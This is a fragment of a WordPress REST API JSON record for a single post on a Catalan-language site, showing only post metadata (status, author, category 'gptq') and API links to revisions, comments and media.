[&hellip;]<\/p>","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[38],"tags":[],"class_list":["post-2539","post","type-post","status-publish","format-standard","hentry","category-gptq"],"_links":{"self":[{"href":"https:\/\/www.troquelgrafic.com\/ca\/wp-json\/wp\/v2\/posts\/2539","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.troquelgrafic.com\/ca\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.troquelgrafic.com\/ca\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.troquelgrafic.com\/ca\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.troquelgrafic.com\/ca\/wp-json\/wp\/v2\/comments?post=2539"}],"version-history":[{"count":1,"href":"https:\/\/www.troquelgrafic.com\/ca\/wp-json\/wp\/v2\/posts\/2539\/revisions"}],"predecessor-version":[{"id":2540,"href":"https:\/\/www.troquelgrafic.com\/ca\/wp-json\/wp\/v2\/posts\/2539\/revisions\/2540"}],"wp:attachment":[{"href":"https:\/\/www.troquelgrafic.com\/ca\/wp-json\/wp\/v2\/media?parent=2539"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.troquelgrafic.com\/ca\/wp-json\/wp\/v2\/categories?post=2539"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.troquelgrafic.com\/ca\/wp-json\/wp\/v2\/tags?post=2539"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}